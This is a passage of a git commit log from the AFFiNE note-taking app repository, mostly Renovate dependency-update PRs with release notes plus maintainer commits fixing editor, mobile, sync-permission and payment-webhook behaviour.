
  // New output
  new (foo())`bar`();
  new (foo()?.bar)();
  ```

- Fix renaming of nested `var` declarations
([#&#8203;4471](https://redirect.github.com/evanw/esbuild/issues/4471))

This release fixes a bug where `var` declarations in nested scopes that
are hoisted up to module scope were not correctly being renamed during
bundling. That could previously lead to name collisions when
minification was disabled, which could potentially cause a behavior
change. The bug has been fixed so that these hoisted declarations are
now considered to be module-level symbols during the name collision
avoidance pass.

- Emit `var` instead of `const` for certain TypeScript-only constructs
for ES5
([#&#8203;4448](https://redirect.github.com/evanw/esbuild/issues/4448))

While esbuild doesn't generally support converting `const` to `var` for
ES5 due to nested scoping rules (which is currently a build-time error),
esbuild previously incorrectly converted TypeScript-only `import`
assignment constructs into a `const` declaration even when targeting
ES5. With this release, esbuild will now use `var` for this case
instead:

  ```js
  // Original code
  import x = require('y')

  // Old output (with --target=es5)
  const x = require("y");

  // New output (with --target=es5)
  var x = require("y");
  ```

### [`v0.28.0`]()

[Compare
Source](https://redirect.github.com/evanw/esbuild/compare/v0.27.7...v0.28.0)

### [`v0.27.7`]()

[Compare
Source](https://redirect.github.com/evanw/esbuild/compare/v0.27.5...v0.27.7)

### [`v0.27.5`]()

[Compare
Source](https://redirect.github.com/evanw/esbuild/compare/v0.27.4...v0.27.5)

### [`v0.27.4`]()

[Compare
Source](https://redirect.github.com/evanw/esbuild/compare/v0.27.3...v0.27.4)

### [`v0.27.3`]()

[Compare
Source](https://redirect.github.com/evanw/esbuild/compare/v0.27.2...v0.27.3)

### [`v0.27.2`]()

[Compare
Source](https://redirect.github.com/evanw/esbuild/compare/v0.27.1...v0.27.2)

### [`v0.27.1`]()

[Compare
Source](https://redirect.github.com/evanw/esbuild/compare/v0.27.0...v0.27.1)

### [`v0.27.0`]()

[Compare
Source](https://redirect.github.com/evanw/esbuild/compare/v0.26.0...v0.27.0)

### [`v0.26.0`]()

[Compare
Source](https://redirect.github.com/evanw/esbuild/compare/v0.25.12...v0.26.0)

</details>

---

### Configuration

📅 **Schedule**: (UTC)

- Branch creation
  - At any time (no schedule defined)
- Automerge
  - At any time (no schedule defined)

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/toeverything/AFFiNE).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My4yMTkuMCIsInVwZGF0ZWRJblZlciI6IjQzLjIxOS4wIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2026-06-18 17:41:44 +08:00
DarkSky 154d9e975d fix: deps & config (#15126) 2026-06-18 14:41:48 +08:00
renovate[bot] 24e07f73bb chore: bump up capacitor-plugin-app-tracking-transparency version to v3 (#15079)
This PR contains the following updates:

| Package | Change |
[Age](https://docs.renovatebot.com/merge-confidence/) |
[Confidence](https://docs.renovatebot.com/merge-confidence/) |
|---|---|---|---|
|
[capacitor-plugin-app-tracking-transparency](https://redirect.github.com/mahnuh/capacitor-plugin-app-tracking-transparency)
| [`^2.0.5` →
`^3.0.0`](https://renovatebot.com/diffs/npm/capacitor-plugin-app-tracking-transparency/2.0.5/3.0.0)
|
![age](https://developer.mend.io/api/mc/badges/age/npm/capacitor-plugin-app-tracking-transparency/3.0.0?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/capacitor-plugin-app-tracking-transparency/2.0.5/3.0.0?slim=true)
|

---

### Release Notes

<details>
<summary>mahnuh/capacitor-plugin-app-tracking-transparency
(capacitor-plugin-app-tracking-transparency)</summary>

###
[`v3.0.0`](https://redirect.github.com/mahnuh/capacitor-plugin-app-tracking-transparency/releases/tag/v3.0.0)

[Compare
Source](https://redirect.github.com/mahnuh/capacitor-plugin-app-tracking-transparency/compare/v2.0.5...v3.0.0)

- Add support for Swift Package Manager
([#&#8203;29](https://redirect.github.com/mahnuh/capacitor-plugin-app-tracking-transparency/issues/29))
[`40051d6`](https://redirect.github.com/mahnuh/capacitor-plugin-app-tracking-transparency/commit/40051d6)
- Update README.md
[`d8c4d27`](https://redirect.github.com/mahnuh/capacitor-plugin-app-tracking-transparency/commit/d8c4d27)

***

</details>

---

### Configuration

📅 **Schedule**: (UTC)

- Branch creation
  - At any time (no schedule defined)
- Automerge
  - At any time (no schedule defined)

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/toeverything/AFFiNE).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My4yMDkuNCIsInVwZGF0ZWRJblZlciI6IjQzLjIwOS40IiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
Co-authored-by: DarkSky <25152247+darkskygit@users.noreply.github.com>
2026-06-18 13:00:42 +08:00
DarkSky d500e472f0 chore: bump deps (#15124) 2026-06-18 12:55:18 +08:00
DarkSky 13d9fe506e feat(native): cleanup vendored deps (#15119)
#### PR Dependency Tree


* **PR #15119** 👈

This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **Breaking Changes**
* Removed major Rust public APIs related to document/CRDT encoding,
synchronization, and document loading from the affected packages.
* **Chores**
* Migrated internal dependency usage to published crates and trimmed the
Rust workspace/feature surface.
* **CI/CD**
* Simplified the Rust CI pipeline by removing advanced testing jobs and
updating job dependencies.
* **Dev/Test/Bench**
* Removed associated benchmark and fuzzing artifacts and related
fixture/test utilities.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-06-18 02:55:30 +08:00
DarkSky 1256d66938 fix(server): sync permission check (#15123)
fix #15121



#### PR Dependency Tree


* **PR #15123** 👈

This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **Security Improvements**
* Enforced document-level `Doc.Read`/`Doc.Update` checks for key sync
websocket operations, including filtering workspace doc timestamp
results to only readable documents.
* Improved remote permission handling: once a remote denies access,
syncing stops for the affected document and retry behavior is
suppressed.
* **Improvements**
* `delete-doc` now relies on server acknowledgment and returns an
explicit `{ success: true }`.
* Websocket acknowledgment errors are now normalized for consistent
error details.
* **Tests**
* Expanded permission-denied and websocket error-handling coverage,
including timestamp filtering and no-retry behavior after permission
denial.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-06-18 02:43:25 +08:00
DarkSky da7781a751 feat(mobile): improve android edgeless & ci (#15118)
#### PR Dependency Tree


* **PR #15118** 👈

This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **Chores**
* Improved mobile CI workflow with change-aware Android/iOS build jobs
and updated completion dependencies so tests wait for the relevant
mobile builds.
* **Performance / App Behavior**
* Enhanced Android WebView behavior: improved viewport/WebView tuning,
disabled zoom and scrollbars, and made mixed-content allowance
environment-aware (debug vs non-debug).
* Adjusted Android cleartext traffic handling based on build/debug
settings and Capacitor server URL configuration.
* **Tests**
* Strengthened Electron BYOK storage tests with per-test temporary
directories, mock control, and added coverage for when secure storage is
unavailable.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-06-17 02:08:15 +08:00
keepClamDown a77d89bb1a fix(editor): edgeless can't slider with finger (#15091)
fix bug edgeless can't slider with finger 

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **New Features**
* Added mobile immersive edgeless mode with dynamic chrome auto-hide and
tap-gesture controls.
  * Added a mobile zoom ruler UI for edgeless.
* **Bug Fixes**
* Improved iOS rendering/zoom by applying low-zoom survival behavior,
gesture-aware refresh deferral, and effective-DPR canvas scaling.
* Fixed iOS webview zoom/bounce and process-termination reload behavior.
  * Improved placeholder styling with theme-aware colors.
* **Chores**
  * Updated local ignore rules and iOS app build/version configuration.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->

---------

Co-authored-by: DarkSky <darksky2048@gmail.com>
2026-06-16 21:19:31 +08:00
YashTomar2201 c51bdb74de fix: resolve renovate configuration validation error (#15104)
Fixes #15101 

### What this PR does
Resolves a Renovate configuration error where the bot stopped processing
PRs due to invalid settings in `.github/renovate.json`.

### The Bug
The 4th rule in the `packageRules` array was combining the `*` wildcard
with negated regex patterns (`!/^@blocksuite//`, `!/oxlint/`) inside the
`matchPackageNames` field, which violates Renovate's current validation
schema.

### The Fix
* Kept the `*` wildcard isolated inside `matchPackageNames`.
* Extracted the negative lookaheads and moved them to their dedicated
`excludePackagePatterns` array.
* Cleaned up the regex formatting for the exclusion patterns.

*Note: This configuration was successfully verified locally using `npx
renovate-config-validator`.*

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **Chores**
* Refined dependency update configuration: broadened the non-major npm
package rule to apply to all packages while explicitly excluding
selected packages from automated updates.
* Adjusted exclusion patterns to replace prior negation-based logic with
clearer exclusion entries for specific packages.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-06-15 17:26:10 +08:00
Juan Abimael Santos Castillo ac3c93ccfa fix(editor): render strikethrough on links (#15109)
**Issue**

Strikethrough on a link doesn't render. The toolbar button highlights
but no line
appears (#15106).

**Solution**

affine-link hardcoded text-decoration: none in the override it passes to
affineTextStyles, which clobbered the decoration computed from
strike/underline.
Removing it fixes the render; plain links still show no underline
because
affineTextStyles returns none by default.

**Result**

Strikethrough and underline render on links again. Added an e2e test: a
plain link
stays undecorated, a struck link renders line-through, red before the
fix and green
after.

fix #15106

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **Bug Fixes**
* Fixed link text-decoration styling to properly support strikethrough
and other text formatting when applied to links.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-06-14 19:34:36 +08:00
DarkSky 6a2b73e76f feat(editor): improve database & table behavior (#15100)
fix #14982
fix #15028
fix #15099

#### PR Dependency Tree


* **PR #15100** 👈

This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **Bug Fixes**
* Prevented Enter handling during IME composition to avoid unintended
input.
* Avoided overwriting external native selections when interacting with
tables.
* Improved validation of inline text selection ranges for more reliable
behavior.

* **Enhancements**
* Scoped and refined text-selection styling and editability within
tables and cells.
  * Added managed sorting for Kanban views to control card ordering.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-06-11 13:50:23 +08:00
DarkSky 07a08e6d4d fix(editor): import & save logic (#15098)
fix #15080
fix #15085
fix #15031
fix #15094


#### PR Dependency Tree


* **PR #15098** 👈

This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **Bug Fixes**
  * Improved code-block paste behavior for plain-text insertion
  * Fixed block selection ordering to reflect document model
  * Made table cell formatting resilient to conversion errors
  * Ensured user feature list is consistently returned as an array

* **Refactor**
  * Streamlined authentication session fetch and profile enrichment flow

* **Tests**
  * Added tests for markdown blockquote list preservation
  * Added authentication session validation tests
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-06-10 22:43:31 +08:00
Talha Mujahid 6faebcabd3 fix(editor): prevent backspace in icon picker search from deleting editor content (#15089)
## Problem
When the callout block's icon picker is open and the user types in the
search input, pressing backspace deletes content in the main editor
instead of the search text.

## Root Cause
The callout icon picker is mounted via `createPopup` inside
`editor-host`. `PageKeyboardManager` registers a global `Backspace`
handler on the editor host (`keyboard-manager.ts`) with `{ global: true
}`, which fires on every backspace keydown regardless of what element is
focused. Without `stopPropagation`, the backspace event from the search
input bubbles up through the DOM and triggers block deletion.

Other keys are unaffected because the editor handles character input
through `contenteditable` focus, those handlers only act when a
contenteditable node is active.

## Fix
Add `onKeyDown` with `e.stopPropagation()` to the search inputs in both
`EmojiPicker` and `AffineIconPicker`. This matches the existing pattern
already used by `MenuComponent` (`menu-renderer.ts:107`) and all other
interactive components (`date-picker`, `inline-edit`, `prompt-modal`).

## Why not affected elsewhere
`DocIconPicker` uses the same pickers but wraps them in a Radix UI
`Menu` with `modal: true`, which portals outside `editor-host` — so
backspace events never reach the editor's global handler there.

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **Bug Fixes**
* Improved keyboard event handling in search inputs for icon and emoji
pickers

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-06-10 16:13:04 +08:00
DarkSky d10dd12663 fix(core): transport may not available (#15087)
fix #15086


#### PR Dependency Tree


* **PR #15087** 👈

This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **Bug Fixes**
* Console logging is now disabled in production builds to reduce
unnecessary log output, while remaining enabled in development for
debugging purposes.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-06-06 18:32:54 +08:00
renovate[bot] edc87e38df chore: bump up RevenueCat/purchases-ios-spm version to from: "5.76.0" (#15077)
This PR contains the following updates:

| Package | Update | Change |
|---|---|---|
|
[RevenueCat/purchases-ios-spm](https://redirect.github.com/RevenueCat/purchases-ios-spm)
| minor | `from: "5.75.0"` → `from: "5.76.0"` |

---

### Release Notes

<details>
<summary>RevenueCat/purchases-ios-spm
(RevenueCat/purchases-ios-spm)</summary>

###
[`v5.76.0`](https://redirect.github.com/RevenueCat/purchases-ios-spm/compare/5.75.0...5.76.0)

[Compare
Source](https://redirect.github.com/RevenueCat/purchases-ios-spm/compare/5.75.0...5.76.0)

</details>

---

### Configuration

📅 **Schedule**: (UTC)

- Branch creation
  - At any time (no schedule defined)
- Automerge
  - At any time (no schedule defined)

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/toeverything/AFFiNE).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My4yMDkuNCIsInVwZGF0ZWRJblZlciI6IjQzLjIwOS40IiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2026-06-04 16:39:11 +08:00
DarkSky 65c3271beb feat(server): clean up dirty data from legacy version (#15078)
#### PR Dependency Tree


* **PR #15078** 👈

This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **New Features**
  * Persist and replay incoming payment webhooks for reliability.
* Track provider-level subscriptions, payment events, and per-target
trial usage across providers.
  * Nightly replay job to reprocess stuck payment events.
* Shadow backfill mode and emit-suppression options to control
projection/backfill side effects.
  * Subscriptions now derived from entitlements + provider facts.

* **Bug Fixes**
* Improved error propagation, retry tracking, and safer owner-grant
projection handling.

* **Tests**
* Added webhook failure/replay, provider integration, entitlement
projection, and trial/checkout tests.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-06-04 16:38:44 +08:00
renovate[bot] 489702eb66 chore: bump up actions/github-script action to v9 (#15074)
This PR contains the following updates:

| Package | Type | Update | Change |
|---|---|---|---|
|
[actions/github-script](https://redirect.github.com/actions/github-script)
| action | major | `v8` → `v9` |

---

### Release Notes

<details>
<summary>actions/github-script (actions/github-script)</summary>

###
[`v9.0.0`](https://redirect.github.com/actions/github-script/releases/tag/v9.0.0)

[Compare
Source](https://redirect.github.com/actions/github-script/compare/v9.0.0...v9.0.0)

**New features:**

- **`getOctokit` factory function** — Available directly in the script
context. Create additional authenticated Octokit clients with different
tokens for multi-token workflows, GitHub App tokens, and cross-org
access. See [Creating additional clients with
`getOctokit`](https://redirect.github.com/actions/github-script#creating-additional-clients-with-getoctokit)
for details and examples.
- **Orchestration ID in user-agent** — The `ACTIONS_ORCHESTRATION_ID`
environment variable is automatically appended to the user-agent string
for request tracing.

**Breaking changes:**

- **`require('@&#8203;actions/github')` no longer works in scripts.**
The upgrade to `@actions/github` v9 (ESM-only) means
`require('@&#8203;actions/github')` will fail at runtime. If you
previously used patterns like `const { getOctokit } =
require('@&#8203;actions/github')` to create secondary clients, use the
new injected `getOctokit` function instead — it's available directly in
the script context with no imports needed.
- `getOctokit` is now an injected function parameter. Scripts that
declare `const getOctokit = ...` or `let getOctokit = ...` will get a
`SyntaxError` because JavaScript does not allow `const`/`let`
redeclaration of function parameters. Use the injected `getOctokit`
directly, or use `var getOctokit = ...` if you need to redeclare it.
- If your script accesses other `@actions/github` internals beyond the
standard `github`/`octokit` client, you may need to update those
references for v9 compatibility.

##### What's Changed

- Add ACTIONS\_ORCHESTRATION\_ID to user-agent string by
[@&#8203;Copilot](https://redirect.github.com/Copilot) in
[#&#8203;695](https://redirect.github.com/actions/github-script/pull/695)
- ci: use deployment: false for integration test environments by
[@&#8203;salmanmkc](https://redirect.github.com/salmanmkc) in
[#&#8203;712](https://redirect.github.com/actions/github-script/pull/712)
- feat!: add getOctokit to script context, upgrade
[@&#8203;actions/github](https://redirect.github.com/actions/github) v9,
[@&#8203;octokit/core](https://redirect.github.com/octokit/core) v7, and
related packages by
[@&#8203;salmanmkc](https://redirect.github.com/salmanmkc) in
[#&#8203;700](https://redirect.github.com/actions/github-script/pull/700)

##### New Contributors

- [@&#8203;Copilot](https://redirect.github.com/Copilot) made their
first contribution in
[#&#8203;695](https://redirect.github.com/actions/github-script/pull/695)

**Full Changelog**:
<https://github.com/actions/github-script/compare/v8.0.0...v9.0.0>

###
[`v9`](https://redirect.github.com/actions/github-script/compare/v8...v9)

[Compare
Source](https://redirect.github.com/actions/github-script/compare/v8.0.0...v9.0.0)

</details>

---

### Configuration

📅 **Schedule**: (UTC)

- Branch creation
  - At any time (no schedule defined)
- Automerge
  - At any time (no schedule defined)

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/toeverything/AFFiNE).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My4yMDkuMCIsInVwZGF0ZWRJblZlciI6IjQzLjIwOS4wIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2026-06-04 07:44:53 +08:00
renovate[bot] e3349b458c chore: bump up apple-actions/import-codesign-certs action to v7 (#15075)
This PR contains the following updates:

| Package | Type | Update | Change |
|---|---|---|---|
|
[apple-actions/import-codesign-certs](https://redirect.github.com/apple-actions/import-codesign-certs)
| action | major | `v6` → `v7` |

---

### Release Notes

<details>
<summary>apple-actions/import-codesign-certs
(apple-actions/import-codesign-certs)</summary>

###
[`v7.0.0`](https://redirect.github.com/Apple-Actions/import-codesign-certs/releases/tag/v7.0.0)

[Compare
Source](https://redirect.github.com/apple-actions/import-codesign-certs/compare/v7.0.0...v7.0.0)

#### What's Changed

- Switch from `ncc` to `esbuild`
- Bump flatted from 3.4.1 to 3.4.2 by
[@&#8203;dependabot](https://redirect.github.com/dependabot)\[bot] in
[Apple-Actions#166](https://redirect.github.com/Apple-Actions/import-codesign-certs/pull/166)
- Bump actions/setup-node from 6.2.0 to 6.3.0 by
[@&#8203;dependabot](https://redirect.github.com/dependabot)\[bot] in
[Apple-Actions#167](https://redirect.github.com/Apple-Actions/import-codesign-certs/pull/167)
- Bump picomatch from 2.3.1 to 2.3.2 by
[@&#8203;dependabot](https://redirect.github.com/dependabot)\[bot] in
[Apple-Actions#168](https://redirect.github.com/Apple-Actions/import-codesign-certs/pull/168)
- Bump knip from 5.78.0 to 6.2.0 by
[@&#8203;dependabot](https://redirect.github.com/dependabot)\[bot] in
[Apple-Actions#173](https://redirect.github.com/Apple-Actions/import-codesign-certs/pull/173)

**Full Changelog**:
<https://github.com/Apple-Actions/import-codesign-certs/compare/v6.1.0...v7.0.0>

###
[`v7`](https://redirect.github.com/apple-actions/import-codesign-certs/compare/v6.1.0...v7.0.0)

[Compare
Source](https://redirect.github.com/apple-actions/import-codesign-certs/compare/v6.1.0...v7.0.0)

</details>

---

### Configuration

📅 **Schedule**: (UTC)

- Branch creation
  - At any time (no schedule defined)
- Automerge
  - At any time (no schedule defined)

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/toeverything/AFFiNE).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My4yMDkuMCIsInVwZGF0ZWRJblZlciI6IjQzLjIwOS4wIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2026-06-03 18:33:32 +08:00
renovate[bot] eb32a5894e chore: bump up @googleapis/androidpublisher version to v36 (#15063)
This PR contains the following updates:

| Package | Change |
[Age](https://docs.renovatebot.com/merge-confidence/) |
[Confidence](https://docs.renovatebot.com/merge-confidence/) |
|---|---|---|---|
|
[@googleapis/androidpublisher](https://redirect.github.com/googleapis/google-api-nodejs-client)
| [`^35.0.0` →
`^36.0.0`](https://renovatebot.com/diffs/npm/@googleapis%2fandroidpublisher/35.1.1/36.0.0)
|
![age](https://developer.mend.io/api/mc/badges/age/npm/@googleapis%2fandroidpublisher/36.0.0?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@googleapis%2fandroidpublisher/35.1.1/36.0.0?slim=true)
|

---

### Release Notes

<details>
<summary>googleapis/google-api-nodejs-client
(@&#8203;googleapis/androidpublisher)</summary>

###
[`v36.0.0`](https://redirect.github.com/googleapis/google-api-nodejs-client/blob/HEAD/CHANGELOG.md#13600-2024-05-02)

##### ⚠ BREAKING CHANGES

- **workloadmanager:** This release has breaking changes.
- **serviceusage:** This release has breaking changes.
- **servicenetworking:** This release has breaking changes.
- **serviceconsumermanagement:** This release has breaking changes.
- **securitycenter:** This release has breaking changes.
- **redis:** This release has breaking changes.
- **networkmanagement:** This release has breaking changes.
- **iam:** This release has breaking changes.
- **doubleclickbidmanager:** This release has breaking changes.
- **dns:** This release has breaking changes.
- **dataportability:** This release has breaking changes.
- **dataplex:** This release has breaking changes.
- **dataform:** This release has breaking changes.
- **contentwarehouse:** This release has breaking changes.
- **content:** This release has breaking changes.
- **compute:** This release has breaking changes.
- **beyondcorp:** This release has breaking changes.
- **alloydb:** This release has breaking changes.
- **aiplatform:** This release has breaking changes.

##### Features

- **accessapproval:** update the API
([88f6ef5](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/88f6ef52f6b19a90962acb1604694da5e22af1d0))
- **admin:** update the API
([b6fff85](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/b6fff8553fc561f5c16d8bd46ded439bb793ea8a))
- **adsense:** update the API
([5349cf9](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/5349cf9808017b594380ade8c94aed81a3330ed2))
- **advisorynotifications:** update the API
([9c37105](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/9c371058f141e1b30567a74d35245c0d116e9f02))
- **aiplatform:** update the API
([56cde03](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/56cde03e4eb6283561515ecac8435ad28f49dda9))
- **alertcenter:** update the API
([10d8698](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/10d869861c193788a3150515b2d8ec323517bc38))
- **alloydb:** update the API
([51ad37e](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/51ad37ee97ac19ca26c26c645f39f8d9d3fde0cd))
- **analyticsadmin:** update the API
([8b4c314](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/8b4c31451d3ace85c48b8a1170eac09024c518e0))
- **analyticshub:** update the API
([d06ce46](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/d06ce46d020c92976660e2e9ee68f35f0e2da2f6))
- **androidmanagement:** update the API
([bb2dc2d](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/bb2dc2d1e3d99b2a27bfe9f1b517ab257cc886bf))
- **androidpublisher:** update the API
([f58a3c8](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/f58a3c8544b91d6cb987f2b72f200e7b79eabe14))
- **appengine:** update the API
([543b45e](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/543b45e8cad0556e923f2f44e61d3bf96675e1ca))
- **apphub:** update the API
([e9a8db0](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/e9a8db0b264dc78e526dae22ff7a33574406a360))
- **artifactregistry:** update the API
([5a5e4aa](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/5a5e4aae48f826b6daec0493c4cfe79b4b0dfa4a))
- **authorizedbuyersmarketplace:** update the API
([351c7ed](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/351c7edca745cf8d996963e6816811eaaca09a04))
- **backupdr:** update the API
([9796834](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/97968343e02bd85538961138f02ed20976f53a02))
- **beyondcorp:** update the API
([7f20c02](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/7f20c0238728cae35a37e06b95e7dbb8cad57e2e))
- **bigqueryconnection:** update the API
([0e56135](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/0e56135413c3799c0543bb45510dede96970cb63))
- **bigquery:** update the API
([72b5d21](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/72b5d21ed11f1bcde638a1240c02d6ce03906844))
- **bigtableadmin:** update the API
([ad68d8c](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/ad68d8c6e175573ebd5c54ec74328386d9dc8cd3))
- **blockchainnodeengine:** update the API
([7f0503c](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/7f0503cc2cf3b7d7f90f0518a1deb592a4f313a4))
- **chat:** update the API
([0810516](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/081051658a22c7bf2cd8915838608f53fb620cd6))
- **cloudasset:** update the API
([4eb45be](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/4eb45bed03811fb3f5c18967a0c7128ced2ee011))
- **cloudbuild:** update the API
([d20db7b](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/d20db7be93195c69e6b1345bcf196aeab8b57b35))
- **clouddeploy:** update the API
([cd5014b](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/cd5014bd87adbfbc2729f78f7d56bb4b8d42b7d7))
- **cloudsupport:** update the API
([ceb5503](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/ceb5503e69b26a0838d8decc00ca17ebdcdda743))
- **compute:** update the API
([f84e98a](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/f84e98a33f39034e2cb7846fbc4c3fc6804a2ffa))
- **connectors:** update the API
([478d8c6](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/478d8c60beb0ccae9a89590f71802aa7843275e2))
- **contactcenteraiplatform:** update the API
([862d69b](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/862d69b84cbbe5f9e6c34af4bfdfbe33990c9331))
- **contactcenterinsights:** update the API
([c1974c4](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/c1974c4b7385c84fdb70cd3c05e5ad601dbb4272))
- **container:** update the API
([8cd9863](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/8cd986326583b69735627bae07263fad1595b7fb))
- **content:** update the API
([76546b8](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/76546b866ac0e675f27b2b9ab1727f4c821c17ac))
- **contentwarehouse:** update the API
([aa28685](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/aa286853fecaa5d45d80e33e309ea388ea6ece97))
- **dataflow:** update the API
([ddd9231](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/ddd92315d9fff4a5a20493b1ce874f0974df3b82))
- **dataform:** update the API
([a43ddce](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/a43ddced989c08697f803f6d167f771ae27ecbcb))
- **datamigration:** update the API
